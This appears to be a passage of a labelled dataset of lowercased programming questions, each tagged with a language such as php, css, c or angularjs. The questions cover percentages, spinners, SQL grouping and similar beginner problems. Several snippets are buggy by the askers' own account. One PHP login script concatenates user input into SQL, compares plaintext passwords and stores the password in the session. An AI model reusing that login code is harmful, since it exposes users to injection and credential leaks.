@sort %> is being used.    any help would be deeply appreciated.,ruby-on-rails
math not working correctly in php   i m basically trying to work out the percentage of sales completed as per the amount bought  here s the code i m working it out with:   <pre><code>$sold = 212; $bought = 213;  echo round(($bought / $sold) * 100). % ; </code></pre>   why does that echo <code>100%</code> when it s clearly not  shouldn t it be like <code>99.5%</code>,php
get image length in iphone sdk like photoruler  how to measure the image length after taking a picture in iphone  example: if i take a picture of fish then how should i measure the fish actual height and width     any ideas or sample code would be appreciated.,iphone
how do i find maximum value in a multi dimensional array  i have a multi dimensional array with the rows containing string values and the columns contains integer values. i want to find the maximum value in this case maximum score which is in the columns    here is my code so far(java)   <pre><code>public class highscore {     int row;     int col;     scanner input = new scanner(system.in);     public void maxscore() {         system.out.println( how many students are you entering scores for );         int st_num = input.nextint();         string[][] arr = new string[st_num][1];         for (row = 0; row &lt; arr.length; row++) {             system.out.println( please enter the student s name );             string name = input.next();             for (col = 0; col &lt; arr[row].length; col++) {                 system.out.println( please enter the students s score );                 int score = input.nextint();             }         }         system.out.println( highest score entered was );     }     public static void main(string[] args) {         highscore obj = new highscore();         obj.maxscore();     } } </code></pre>   so um if u have any suggestions or answers please help,java
using href in jsx onclick button  i have a button in my website  which should open new tab in the browser and redirect to some domain  although i can t seem to get it working  could i get help  what i ve tried so far.   <pre><code>&lt;div classname= width-100p dis-flex dis-flex-middle dis-flex-center &gt;&lt;span&gt;&lt;button classname= btn btn-primary integration-connect-btn &gt;&lt;a href= https://www.google.com  target= _blank &gt;&lt;/a&gt;connect&lt;/button&gt;&lt;/span&gt;&lt;/div&gt; </code></pre>   from my point of view  this looks correct  could i get help,html
check multiple ng-model values to change the caption of the button  i need to change the caption of the button based on the value of multiple model values. i have a button. when the model values are null  it should display  load  and if not then  refresh . if i check with one model value it works fine. how do i check entire model values.   <pre><code>&lt;button id= load  type= submit  class= btn btn-success  style= float:right  &gt; {{processstate.widgetinstance.configuration.application    refresh : load }}&lt;/button&gt;  &lt;ul&gt;                 &lt;li&gt;application:                     &lt;select name= application  required ng-model= processstate.widgetinstance.configuration.application   ng-options= app.app_id as app.app_name for app in applications &gt;                      &lt;/select&gt;                 &lt;/li&gt;                 &lt;li&gt;namespace:                     &lt;select name= namespace  required ng-model= processstate.widgetinstance.configuration.namespace  ng-options= namespace.namespace_id as namespace.namespace for namespace in namespace &gt;                      &lt;/select&gt;                 &lt;/li&gt;                &lt;/ul&gt; </code></pre>   in this case  if the select combo has values  it should display refresh else load. the values for the scope variables are populated from a service in this case.    plunker  <a href= http://plnkr.co/edit/80izzj4atafrtxhpswdd p=preview  rel= nofollow >working copy</a>,angularjs
installing pkgconfig from source  i want to install pkgconfig from source  because i want it in a particular path to be accessed by my application. however i am encountering a problem  which seems to be basic to someone very familiar with c/c++. i have tried to search a solution without success. the problem is with the definition of end_time as an extract from make shows below   <pre><code>in file included from gthread.c:42:0: gthread-posix.c: in function  g_cond_timed_wait_posix_impl : gthread-posix.c:112:19: error: storage size of  end_time  isn t known struct timespec end_time; gthread-posix.c:112:19: warning: unused variable  end_time  [-wunused-variable] makefile:285: recipe for target  gthread.lo  failed </code></pre>   the line  112  in the file  pkgconfig-0.23/glib-1.2.10/gthread/gthread-posix.c  at the origin of the error (including one line before and a few lines after) is    <pre><code>{ int result; struct timespec end_time;  gboolean timed_out; g_return_val_if_fail (cond != null  false); g_return_val_if_fail (entered_mutex != null  false); if (!abs_time) { g_cond_wait (cond  entered_mutex); return true;  } end_time.tv_sec = abs_time-&gt;tv_sec; end_time.tv_nsec = abs_time-&gt;tv_usec * (g_nanosec / g_microsec);  g_assert (end_time.tv_nsec &lt; g_nanosec); result = pthread_cond_timedwait ((pthread_cond_t *) cond                                 (pthread_mutex_t *) entered_mutex                                 &amp;end_time); #ifdef have_pthread_cond_timedwait_posix timed_out = (result == etimedout);  #else timed_out = (result == -1 &amp;&amp; errno == eagain); #endif   if (!timed_out)     posix_check_for_error (result);   return !timed_out; } </code></pre>   any assistance will be appreciated    my os is ubuntu 16.04 output of cat /proc/cpuinfo   <pre><code>cpu cores   : 1 apicid      : 0 initial apicid  : 0 fdiv_bug    : no f00f_bug    : no coma_bug    : no fpu     : yes fpu_exception   : yes cpuid level : 13 wp      : yes flags       : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss nx pdpe1gb rdtscp constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 fma pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor abm epb fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid xsaveopt dtherm ida arat pln pts bugs        : bogomips    : 5202.00 clflush size    : 64 cache_alignment : 64 address sizes   : 42 bits physical  48 bits virtual power management: </code></pre>,c++
what does it mean when define double underscore in front of a variable   here is an example <a href= https://github.com/torvalds/linux/blob/d3658c2266012f270da52e3e0365536e394bd3bd/include/linux/ntb.h#l429  rel= nofollow noreferrer >from this github repository</a>:   <pre><code>#define dev_ntb(__dev) container_of((__dev)  struct ntb_dev  dev) </code></pre>   i know double underscore means special usage  ex:    ex:   <pre><code>__function__   __line__  </code></pre>   but how about only double underscore in front of a variable     what s the conversion results of <code>__dev</code> and <code>dev</code> in this example,c
how to set an image when we select its sub menu  i have got a task to create menu. here i want to set an arrow image to menu when selecting its submenu. i did an example with  this image.but i want to delete that image from that onload and show it when we selects its submenu. only the selected menus image should be displayed.    my css file is   <pre><code> #menu {      font-family: arial;      font-size: 12px;      //background: #f8f8f8;  }  #menu &gt; li &gt; a {      font-family: verdana  arial  sans-serif;      font-style: normal;      color:#787878;      font-weight: bold;  }  #menu &gt; li &gt; a:hover {      color: #000;  }  #menu ul {      background: none repeat scroll 0 0 #ffffff;     border-radius: 0 0 5px 5px;     margin-top: 1px;  }  #menu ul li a {      color: #000;  }  #menu ul li a:hover {      background: #e0e0e0;  }  .logout {      float:right;      width:300px;  }  .title {      float:left;      width:300px;  }  #footer {      width:100%;      height:100px;      float:left;  }  .subchild-list {      margin:0;       position: absolute !important;      top:0;      right:-87px;      //border-color: #ccc #ffffff #ccc #ffffff;  }  .child-list ul {      display: none !important;      position: absolute !important;      z-index: 999 !important;  }  .child-list li {      position:relative !important;   }  .child-list li:hover ul {      display: block !important;  }  .child-list li{      border-left:1px solid #c0c0c0;      border-right:1px solid #c0c0c0; }  .child-list ul{     border-top:1px solid #c0c0c0;      border-bottom:5px solid #c0c0c0;  }  .child-list{     border-bottom:5px solid #c0c0c0;  } .nav-subchild {     border-color: #ccc #ffffff #ccc #ffffff; } #nav &gt; ul &gt; li:hover {  border-color: #ccc #ccc #ffffff;  border-style: solid;  border-width: 1px;  padding-bottom: 0;  border-radius:1px;  }  #menu &gt; li { border-bottom:#ccc; border-left: 1px solid #fff; border-right: 1px solid #fff; border-top: 1px solid #fff; } #nav ul li:hover ul { margin-left:-1px; } #nav ul li ul:hover { margin-left:-1px; } ul li ul li  {     width: 180px; } .subchild-list {     margin:0;     right:-183px;     position: absolute !important;     top:0; } .hassub {     background: url( arrow.gif ) right no-repeat; } #menu li:hover &gt; a {     color: #000;         font-weight:bold; } </code></pre>   how can i solve this problem,css
can t blur css background  i ve set up a very simple html page with this css code associated with it:   <pre><code>html {     background: url( photourl ) no-repeat center center fixed;     -webkit-background-size: cover;     -moz-background-size: cover;     -o-background-size: cover;     background-size: cover;      -webkit-filter: blur(5px);     -moz-filter: blur(5px);     -o-filter: blur(5px);     -ms-filter: blur(5px);     filter: blur(5px); } </code></pre>   however  it doesn t blur. i ve taken a look at <a href= http://jsfiddle.net/jlgfp/  rel= nofollow >this</a> example and tried doing it with a <code>div</code> tag instead but i don t quite see the reasoning here. why wouldn t the code i posted work,css
tempfilecollection  extra  files  i have been trying to understand some third party code we use (and fortunately have the source for) and am unclear on their use of tempfilecollection (hereafter  tfc) objects.     if one creates such an object with a directory thus and so as basepath  then creates a file within that directory by whatever means  does disposing the tfc delete the file within that directory  or does the file have to be explicitly added to the tfc object with the addfile and related methods for this behaviour to happen,.net
how to avoid memory leaking when calling function in backgroundthread  i have problem with memory leak when i call function in background thread like    [self performselectorinbackground:@selector(myfunctionname) withobject:nil];    when this function is called in background the following warning displayed:   <pre><code>2009-12-26 16:05:46.777 simplegame[11450:99fb] *** _nsautoreleasenopool(): object 0x63851d0 of class nsurl autoreleased with no pool in place - just leaking stack: (0x305a2e6f 0x30504682 0x305440c1 0x8ca69 0x8cbe0 0x3050a79d 0x3050a338 0x923c4155 0x923c4012) 2009-12-26 16:05:46.800 simplegame[11450:99fb] *** _nsautoreleasenopool(): object 0xe81090 of class nsurlrequest autoreleased with no pool in place - just leaking stack: (0x305a2e6f 0x30504682 0x8ca9b 0x8cbe0 0x3050a79d 0x3050a338 0x923c4155 0x923c4012) 2009-12-26 16:05:46.816 simplegame[11450:99fb] *** _nsautoreleasenopool(): object 0x63cc720 of class nscfstring autoreleased with no pool in place - just leaking stack: (0x305a2e6f 0x30504682 0x305fed64 0x3058ae69 0x8cadb 0x8cbe0 0x3050a79d 0x3050a338 0x923c4155 0x923c4012) 2009-12-26 16:05:46.819 simplegame[11450:99fb] *** _nsautoreleasenopool(): object 0xe0b480 of class nscfstring autoreleased with no pool in place - just leaking stack: (0x305a2e6f 0x30504682 0x30603183 0x305fed80 0x3058ae69 0x8cadb 0x8cbe0 0x3050a79d 0x3050a338 0x923c4155 0x923c4012) 2009-12-26 16:05:46.840 simplegame[11450:99fb] *** _nsautoreleasenopool(): object 0x63a2dc0 of class nscfstring autoreleased with no pool in place - just leaking stack: (0x305a2e6f 0x30504682 0x305fedb6 0x3058ae69 0x8cadb 0x8cbe0 0x3050a79d 0x3050a338 0x923c4155 0x923c4012) 2009-12-26 16:05:46.846 simplegame[11450:99fb] *** _nsautoreleasenopool(): object 0x64060b0 of class nscfstring autoreleased with no pool in place - just leaking stack: (0x305a2e6f 0x30504682 0x30560183 0x305fedd2 0x3058ae69 0x8cadb 0x8cbe0 0x3050a79d 0x3050a338 0x923c4155 0x923c4012) 2009-12-26 16:05:46.880 simplegame[11450:99fb] *** _nsautoreleasenopool(): object 0x63b25c0 of class nsthread autoreleased with no pool in place - just leaking stack: (0x305a2e6f 0x30504682 0x30509c04 0x3055fe8e 0x923b589e 0x30560f25 0x30570c41 0x30570ae3 0x30570a67 0x923b589e 0x30570a15 0x305fee2c 0x3058ae69 0x8cadb 0x8cbe0 0x3050a79d 0x3050a338 0x923c4155 0x923c4012) 2009-12-26 16:05:46.911 simplegame[11450:99fb] *** _nsautoreleasenopool(): object 0x6329660 of class nscfarray autoreleased with no pool in place - just leaking stack: (0x305a2e6f 0x30504682 0x3055fee0 0x923b589e 0x30560f25 0x30570c41 0x30570ae3 0x30570a67 0x923b589e 0x30570a15 0x305fee2c 0x3058ae69 0x8cadb 0x8cbe0 0x3050a79d 0x3050a338 0x923c4155 0x923c4012) </code></pre>   i have no idea what to do.so plz someone help me.,objective-c
getting unique items from a two dimensional array python  here  the array has two dimensions(characters and numbers) and i wanna get the unique items by only respecting second dimension which are numbers in <code>mylist</code> below. i have done this by using an additional list(<code>a_list</code>)  but i am looking for a better way.         <pre><code>mylist=[]  mylist.append(( a  0)) mylist.append(( b  0)) mylist.append(( b  0)) mylist.append(( a  1)) mylist.append(( a  1))  distinctmylist =[] a_list=[]  for  i in mylist:     a_list.append(i[1]) distinctmylist.append(list(set(a_list))) print distinctmylist </code></pre>   the output:    <pre><code>[[0  1]]  </code></pre>   which are unique items of <code>mylist</code> by respecting second items which are numbers(0s and 1s).,python
tap image  remove labels  show image only  this is a sort of multi-part question  i don t think i need the code  but i do need the approach.  i am using storyboards and have a screen that has a dynamically shown image with some labels and descriptive text.  i want to add functionality such that when the user taps the image  all the text and labels  disappear  and just the image is shown  taking up the full screen.  the image should be zoomable.  when the user taps the image it should bring them back to the  image with text  view. thanks for any help and advice.,ios
sigabrt happens at the end of this function  at the end of the following function (which is only called once)  i receive a sigabrt as a result of a __stack_chk_fail. i think it means the stack is corrupted  why is it causing this abort     the code is supposed to send a file to my server  and to do so it breaks up the file into 256 byte chunks and sends each individually. the reason i did this is just writing <code>[writesock write:[buf bytes]]</code> resulted in only like 30-40% of the data being sent.   <pre><code>- (bool) sendfile:(nsdata*)buf {     cfreadstreamref readstream;     cfwritestreamref writestream;      cfstreamcreatepairwithsockettohost(null  (cfstringref)(@ servername )  999  &amp;readstream  &amp;writestream);      nsinputstream * readsock = (__bridge nsinputstream*)(readstream);     [readsock setdelegate:self];     nsoutputstream * writesock = (__bridge nsoutputstream * )(writestream);     [writesock setdelegate:self];       [readsock scheduleinrunloop:[nsrunloop currentrunloop] formode:nsdefaultrunloopmode];     [writesock scheduleinrunloop:[nsrunloop currentrunloop] formode:nsdefaultrunloopmode];     nslog(@ open socket );     [readsock open];     [writesock open];      [writesock write:(uint8_t*)( submit\0\0\0\0 ) maxlength:10];      nslog(@ data length: %d   [buf length]);      // write length to server     uint32_t length = (uint32_t)([buf length]);     [writesock write:(uint8_t *)&amp;length maxlength:4];     // write data to server     byte smallbuf[256];     uint32_t amounttransfered = 0;     while (amounttransfered &lt; length) {         nsrange r;         r.location = amounttransfered;         r.length = min(amounttransfered + 256  length - amounttransfered);         [buf getbytes:smallbuf range:r];         [writesock write:smallbuf maxlength:r.length];         amounttransfered += r.length;     }      nslog(@ done writing );     /*uint8_t inbuf[128];     [readsock read:inbuf maxlength:128];      if (strcmp((char*)inbuf   success ) != 0) {         nslog(@ couldn t submit file: %s   (char*)inbuf);     }*/      nslog(@ close socket );     return yes; } </code></pre>,objective-c
html li items to show on a single row each  i cant see how or where the css is making these items show in two columns. i just want them on a single line (full width) each  web tools does not show anything strange with the css  any ideas\quick fix    <pre><code>   #demoone li { float:left;display: inline  !important;border: #336699 solid 1px;background: lightblue;} &lt;ul id= demoone &gt; &lt;li&gt;item&lt;/li&gt; &lt;/ul&gt; </code></pre>   <img src= https://i.stack.imgur.com/mlam2.png  alt= enter image description here >,css
developing for the iphone outside xcode  i d like to develop and run my iphone applications from the command line and my personal editor instead of having to use xcode.    so far i ve been able to edit all the files in emacs and run <pre>xcodebuild</pre> in the project to compile/link/etc.    the next step would be to create a makefile task to launch the iphone simulator with my current application. any ideas of how can i do that     update: i m not interested in xcode calling my editor  i just want to forget about the ide as much as i can.,iphone
changing of data between spinners  i have three spinners in my android application.   <pre><code>            &lt;spinner             android:id= @+id/spinner1              android:layout_width= 125dp              android:layout_height= 50dp              android:entries= @array/country_arrays                                          android:hint= select              /&gt; </code></pre>   like this spinner 1 and 2. and here is my java code:   <pre><code>public void addlisteneronspinneritemselection(){         spinner1 = (spinner) findviewbyid(r.id.spinner1);     spinner1.setonitemselectedlistener(new customonitemselectedlistener());     spinner2 = (spinner) findviewbyid(r.id.spinner2); }  public void addlisteneronbutton() {     spinner1 = (spinner) findviewbyid(r.id.spinner1);     spinner2 = (spinner) findviewbyid(r.id.spinner2);     btnsubmit = (button) findviewbyid(r.id.btnsubmit);     btnsubmit.setonclicklistener(new onclicklistener() {          @override         public void onclick(view v) {              intent in = new intent(getapplicationcontext() loginactivity.class);              startactivity(in);              toast.maketext(myandroidappactivity.this                       onclicklistener :   +                       \n no.of.adults :   + string.valueof(spinner1.getselecteditem()) +                      \n no.of.children :   + string.valueof(spinner2.getselecteditem()) +                      \n no.of.infants :   +          }     }); } </code></pre>   like this    here i passed the value for the spinners through xml like this :   <pre><code>&lt;.string-array name= number_arrays &gt;     &lt;.item&gt;0&lt;/item&gt;     &lt;.item&gt;1&lt;/item&gt;     &lt;.item&gt;2&lt;/item&gt;     &lt;.item&gt;3&lt;/item&gt;     &lt;.item&gt;4&lt;/item&gt;     &lt;.item&gt;5&lt;/item&gt;     &lt;.item&gt;6&lt;/item&gt;     &lt;.item&gt;7&lt;/item&gt;     &lt;.item&gt;8&lt;/item&gt;     &lt;.item&gt;9&lt;/item&gt; &lt;./string-array&gt; </code></pre>   here i simply used dots for displaying the code.    now the thing is that... if the value in spinner1 is 1 the second spinner has to show only 8 counts.. the total for the two spinners must be strictly 9. if spinner1=2 then spinner must show from 1 to 7 counts. likewise... please someone help me to solve this thing without any database.. by simply using for loops.,android
sql query - how to create column in table  i have in msql database several tables with lots of rows and columns in them. i need to create a new column in one of these tables.    <strong>how do i create an sql query for inserting a new column in a specific table via phpmyadmin </strong>,mysql
how can i add multiple web subviews in a single view   i m doing my first ipad project. i ve recently learnt objective c so i do not have in depth knowledge of it. i m writing a code to generate subviews. similar concept to that of  safari . i ve to keep a track of all the recently opened url and display that web page as a subview.,objective-c
memory vs database difference in a variable value  i have a pdf attachment boolean flag set in my application and my database shows it to be set <code>true</code>. but when my debugger loads and i inspect the variable it is showing <code>false</code> always.    this is the <code>sql</code> generated when i fetch the flag.   <pre><code>cache (0.0ms)  select  `spree_products`.* from `spree_products` inner join `spree_variants` on `spree_products`.`id` = `spree_variants`.`product_id` inner join `spree_line_items` on `spree_variants`.`id` = `spree_line_items`.`variant_id` where `spree_products`.`deleted_at` is null and `spree_variants`.`deleted_at` is null and `spree_line_items`.`order_id` = 1070722790  order by spree_line_items.created_at asc limit 1  [[ order_id   1070722790]] </code></pre>   this is what i used for the above result:   <pre><code>products.first.attached_pdf </code></pre>   this always result in <code>false</code>. i don t know if it is bringing the data from memory cache or what but this is being quite nuisance for me right now. why are the memory and database values different  any help would be great!,ruby-on-rails
automatically adapt hight of a li item to its content  i do have a problem with css. my menu is too squeezed for all the li having their text on 2 lines. <a href= http://www.glaukom-kinder.com  rel= nofollow >this is my site:</a>     you will see that e.g. these menu points:   <pre><code>- nächster kindertag (2015) - konzept / satzung /... </code></pre>   are too close to the nexs menu point. i suppose that the <code>&lt;li id= item-114 &gt;</code> for the menu point <code>nächster kindertag (2015)</code> does not adapt its height when the child element <code>&lt;span&gt;nächster kindertag (2015)&lt;/span&gt;</code> takes two lines instead of two.    i guess  the most simple way to answer my question for you is to analyze the situation with firebug directly on the site.    thanks guys for your help! kathrin,css
how to replace values ​in a table number to word  i use rails api. in the  attribute  table  the  attribute_type  field uses numbers. i want to replace these numbers with certain words. for this i do the following:    attributes_controller.rb:   <pre><code>class attributescontroller &lt; applicationcontroller    before_action :set_attribute  only: [:show  :update  :destroy]    def index     @attributes = attribute.all      render json: @attributes   end    def show     render json: @attribute     end    def create     @attribute = attribute.new(attribute_params)      if @attribute.save       render json: @attribute  status: :created  location: @attribute     else       render json: @attribute.errors  status: :unprocessable_entity     end   end    def update     if @attribute.update(attribute_params)       render json: @_attribute     else       render json: @attribute.errors  status: :unprocessable_entity     end     end    def destroy     @attribute.destroy   end     private      def set_attribute         @attribute = attribute.find(params[:id])     end      def attribute_params         params.require(:attribute).permit!     end end </code></pre>   attribute.rb:   <pre><code>class attribute &lt; activerecord::base     extend activehash::associations::activerecordextensions     self.table_name =  attributs      self.primary_key =  attribut_id      belongs_to :attribute_type  foreign_key:  attribut_type   end </code></pre>   attribute_type.rb:   <pre><code>class attributetype &lt; activehash::base   include activehash::associations   has_many :attributes  foreign_key:  attribut_type     self.data = [       {id: 0  name:  text   type:  text }        {id: 1  name:  date   type:  date }        {id: 2  name:  number   type:  number }   ] end </code></pre>   routes.rb:   <pre><code>rails.application.routes.draw do   resources :attributes do     collection do       get  attribute_type      end   end end </code></pre>   what is not done or what is not enough to replace numbers with words from the  attribute_type  model     when i try to navigate through this url <code>/attributes/attribute_type</code>  this error occurs:   <blockquote>    abstractcontroller::actionnotfound (the action  attribute_type    could not be found for attributescontroller):  </blockquote>,ruby-on-rails
sql group by sub group  i am trying to work out the majority sub group of a group. for an example let s say my table looks like this:   <pre><code>+--------------------------------------------------+ |   city      |  car_colour |  car_type |  qty   | +--------------------------------------------------+ | ------------------------------------------------ | | manchester  |  red        |  sports   |  7       | | manchester  |  red        |  4x4      |  9       | | manchester  |  blue       |  4x4      |  8       | | london      |  red        |  sports   |  2       | | london      |  blue       |  4x4      |  3       | | leeds       |  red        |  sports   |  5       | | leeds       |  blue       |  sports   |  6       | | leeds       |  blue       |  4x4      |  1       | +--------------------------------------------------+ </code></pre>   i ve tried to find a pure sql solution so that i can see: in each city  which colour of car has the largest quantity.    i can do:   <pre><code>select city  cars  sum(qty) from table group by city  cars </code></pre>   to get:   <pre><code>+------------+------+----+ | manchester | red  | 16 | | manchester | blue |  8 | | london     | red  |  2 | | london     | blue |  3 | | leeds      | red  |  5 | | leeds      | blue |  7 | +------------+------+----+ </code></pre>   but is there anyway i can use a sub query to get the max of the results which would return the max colour for each city  so the results would show:   <pre><code>+------------+------+ | manchester | red  | | london     | blue | | leeds      | blue | +------------+------+ </code></pre>   i can do these calculations in my python script but would prefer a pure sql solution.    hope this makes sense  thanks for any help in advance :)    tommy,sql
pull from multiple tables in my login script  as of: june 4 2013  7:37 pm cst we have no solution for this problem.    i have a script that logs my users in and pulls from information from a database table. right now it pulls from one table <code>affiliate_information</code> and gets multiple items.     i am wanting it to pull from <code>affiliate_information</code> and <code>affiliate_tasks</code> right now i simply added the following right above the <code>$_session[ company_name ] = $row[ company_name ];</code> and added the required code to my page to echo it but nothing is happening.    <pre><code>//pull from another table in the database                          $res = mysql_query( select * from `affiliate_tasks` where `username` =   .$username.   );                          $_session[ task_name ] = $row[ task_name ];                         $_session[ due_date ] = $row[ due_date ];                         $_session[ status ] = $row[ status ]; </code></pre>   this is the full script:   <pre><code>&lt; php  include  scripts/user_managment/connect.php ;       //if the user has submitted the form     if($_post[ submit ]){         //protect the posted value then store them to variables         $username = protect($_post[ username ]);         $password = protect($_post[ password ]);          //check if the username or password boxes were not filled in         if(!$username || !$password){             //if not display an error message             echo  &lt;meta http-equiv= refresh  content= 0;url=http://www.green-panda.com/website/panda/affiliates/login.php msg=  . urlencode(base64_encode( a username and password is required! )) .   &gt; ;         }else{             //if the were continue checking              //select all rows from the table where the username matches the one entered by the user             $res = mysql_query( select * from `affiliate_information` where `username` =   .$username.   );             $num = mysql_num_rows($res);              //check if there was not a match             if($num == 0){                 //if not display an error message                 echo  &lt;meta http-equiv= refresh  content= 0;url=http://www.green-panda.com/website/panda/affiliates/login.php msg=  . urlencode(base64_encode( the username and/or password does not match! )) .   &gt; ;             }else{                 //if there was a match continue checking                  //select all rows where the username and password match the ones submitted by the user                 $res = mysql_query( select * from `affiliate_information` where `username` =   .$username.   and `password` =   .$password.   );                 $num = mysql_num_rows($res);                  //check if there was not a match                 if($num == 0){                     //if not display error message                     echo  &lt;meta http-equiv= refresh  content= 0;url=http://www.green-panda.com/website/panda/affiliates/login.php msg=  . urlencode(base64_encode( the username and/or password does not match! )) .   &gt; ;                 }else{                     //if there was continue checking                      //split all fields fom the correct row into an associative array                     $row = mysql_fetch_assoc($res);                      //check to see if the user has not activated their account yet                     if($row[ active ] != 1){                         //if not display error message                         echo  &lt;meta http-equiv= refresh  content= 0;url=http://www.green-panda.com/website/panda/affiliates/login.php msg=  . urlencode(base64_encode( you have not yet activated your account! )) .   &gt; ;                     }else{                         //if they have log them in                          //set the login session storing there id - we use this to see if they are logged in or not                         $_session[ uid ] = $row[ id ];                          //pull from another table in the database                          $res = mysql_query( select * from `affiliate_tasks` where `username` =   .$username.   );                          $_session[ task_name ] = $row[ task_name ];                         $_session[ due_date ] = $row[ due_date ];                         $_session[ status ] = $row[ status ];                          //get the users informaiton                         $_session[ company_name ] = $row[ company_name ]; //get the company name                          $_session[ first_name ] = $row[ first_name ];                         $_session[ last_name ] = $row[ last_name ];                         $_session[ email_address ] = $row[ email_address ];                         $_session[ check_payable_to ] = $row[ check_payable_to ];                         $_session[ add_line_1 ] = $row[ add_line_1 ];                         $_session[ add_line_2 ] = $row[ add_line_2 ];                         $_session[ city ] = $row[ city ];                         $_session[ state ] = $row[ state ];                         $_session[ zip ] = $row[ zip ];                         $_session[ main_phone ] = $row[ main_phone ];                         $_session[ mobile_phone ] = $row[ mobile_phone ];                         $_session[ affiliate_since_date ] = $row[ affiliate_since_date ];                         $_session[ direct_deposit ] = $row[ direct_deposit ];                         $_session[ paper_check ] = $row[ paper_check ];                         $_session[ username ] = $row[ username ];  //gets the username                         $_session[ password ] = $row[ password ]; //get the password                         $_session[ profile_pic_src ] = $row[ profile_pic_src ]; //gets the profile pic                         $_session[ website_url ] = $row[ website_url ]; //gets the website                         $_session[ account_balance ] = $row[ account_balance ];                          $_session[ domain_count ] = $row[ domain_count ];                         $_session[ earning_count ] = $row[ earning_count ];                         $_session[ received_count ] = $row[ received_count ];                         $_session[ referrals_count ] = $row[ referrals_count ];                          //update the online field to 50 seconds into the future                         $time = date( u )+50;                         mysql_query( update `affiliate_information` set `online` =   .$time.   where `id` =   .$_session[ uid ].   );                          //redirect them to the affiliate_informationonline page                         echo  &lt;meta http-equiv= refresh  content= 0;url=http://www.green-panda.com/website/panda/affiliates/index.php msg=  . urlencode(base64_encode( you have successfully logged in! )) .   &gt; ;                     }                 }             }         }     }       &gt; </code></pre>   how can i make it so this script pulls from <code>affiliate_information</code> and <code>`affiliate_tasks</code> and possibly even more tables  or do i need to do this in a separate script  if so  how would i make it get the information at the same time.     in my regular page i have <code>&lt; php session_start(); echo $_session[task_name];  &gt;</code> to be able to echo the variables.,php
mysql procedure for updating row <pre><code>use `sakila`; drop procedure if exists `change_user_name`;  delimiter $$ use `sakila`$$ create procedure `change_user_name` (actor_id int  first_name varchar(45)  last_name varchar(45)) begin  update actor set first_name= first_name   last_name= last_name  where actor_id= actor_id ;   end$$  delimiter ; </code></pre>   why this procedure won t work  i don t receive any error message from mysql workbench,mysql
nested tabs using angularjs  need to create nested tabs.    in a page there will be multiple person id tabs as outer tabs and on clicking each tab it will open inner tabs like home office etc.  and on clicking inner tab - home  the tab content will display.    outertab: person 1     person2    innertab:   home  office    refering the site - <a href= http://angular-ui.github.io/bootstrap/  rel= noreferrer >http://angular-ui.github.io/bootstrap/</a>   created outer tabs with content. created 2 separate tabset but not able to give link between the two tabset.    can someone help me how to write directive for nested tabs  any reference links,angularjs
command line calculator in c. what is wrong   i have this code as a simple command line calculator in c.   <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt;  int main(int argc  char* argv[]){  int num1  num2  result; char op1;  /* convert 1st and 3st of the arguments into int */ /* assign the argv[1] to num1  assign the argv[2] to op1   assign the argv[3] to num2 */  if (argc == 4){     sscanf(argv[1]  %d  &amp;num1);     scanf(argv[2]  %c  &amp;op1);     sscanf(argv[3]  %d  &amp;num2); }  else{   // if the input is wrong     printf( input error\n ); }  switch (op1){      case + :         result = num1 + num2;         break;     case - :         result = num1 - num2;         break;     case x :         result = num1 * num2;         break;     case / :         result = num1 / num2;         break;     case % :         result = num1 % num2;         break;     default: printf( input error!!!\n ); } printf( %d\n   result); } </code></pre>   after i complied the code and ran it. some error happens.    for example  i use command: ./main 1 + 2 (which should be 3)    the output is:  input error!!! 0    and if i use command: ./main    the output is: input error input error!!! 0    i don t where is wrong. please help!! thank you so much!! i m a completely beginner to c.,c
how to send data to server using get request  i want to send data to server when user fill ups the from in iphone   i used   <pre><code>nsurlrequest </code></pre>   but it returns with bad url when spaces are coming in the from data  any help please,iphone
jquery adding class to span or div with unknown id  apologies for a newbie question but i wonder what the best way is to do the following     i have a page with two forms on  both of which collapse / expand to reveal their fields. this is the basic code for the forms in their collapsed state:   <pre><code>&lt;div class= myforms &gt;     &lt;span class= collapsed  id= form1 &gt;form 1&lt;/span&gt;     &lt;div id= target-form1  class= collapsed_content  style= display: none; &gt;     .     *(form 1 code in here)*     .     &lt;span class= collapsed  id= form2 &gt;form 2&lt;/span&gt;     &lt;div id= target-form2  class= collapsed_content  style= display: none; &gt;     .     *(form 2 code in here)*     . &lt;/div&gt; </code></pre>   if one of the forms is clicked on to expand  the following two things happen: (1) the class  open  is added to the span for that form (2) the style for the form div is changed to  display:block     so if you  for example  click form 1 you end up with this:   <pre><code>&lt;div class= myforms &gt;     &lt;span class= collapsed open  id= form1 &gt;form 1&lt;/span&gt;     &lt;div id= target-form1  class= collapsed_content  style= display: block; &gt;     .     *(form 1 code in here)*     .     &lt;span class= collapsed  id= form2 &gt;form 2&lt;/span&gt;     &lt;div id= target-form2  class= collapsed_content  style= display: none; &gt;     .     *(form 2 code in here)*     . &lt;/div&gt; </code></pre>   rather than  form1    form2  etc the actual id for each form is a random id generated by the collapse/expand plugin (collapse-o-matic) (e.g.  id7722 ). the div id is the same with  target-  added to the front (e.g.  target-id7722 ).    now my problem is that when i open  say  form 1  enter some data and then click on the form s update button  the form collapses (presumably it s doing some sort of refresh that restores it to the state it was when the page loaded (i.e. collapsed)). but  i need the form to refresh and automatically expand again so the contents are immediately visible.    i can do it ok on form 1 using:   <pre><code>&lt;script type= text/javascript &gt;    settimeout( jquery( span#form1 ).addclass( open );  1);    settimeout( jquery( #target-form1 ).css( display   block );  1); &lt;/script&gt; </code></pre>   ...but i need a generic bit of jquery that will do the above for whichever form has had it s update button clicked. i don t need to test for which form on the page is open  as the form plugin (formidable forms) allows me to enter the code snippet just given above into each form i create. i just need to end up with the jquery version of this:   <pre><code>&lt;script type= text/javascript &gt;    settimeout( jquery( span id for the current form ).addclass( colomat-close );  1);    settimeout( jquery( div id for the current form ).css( display   block );  1); &lt;/script&gt; </code></pre>   ...rather than hardcoding in the form id into the span and div,jquery
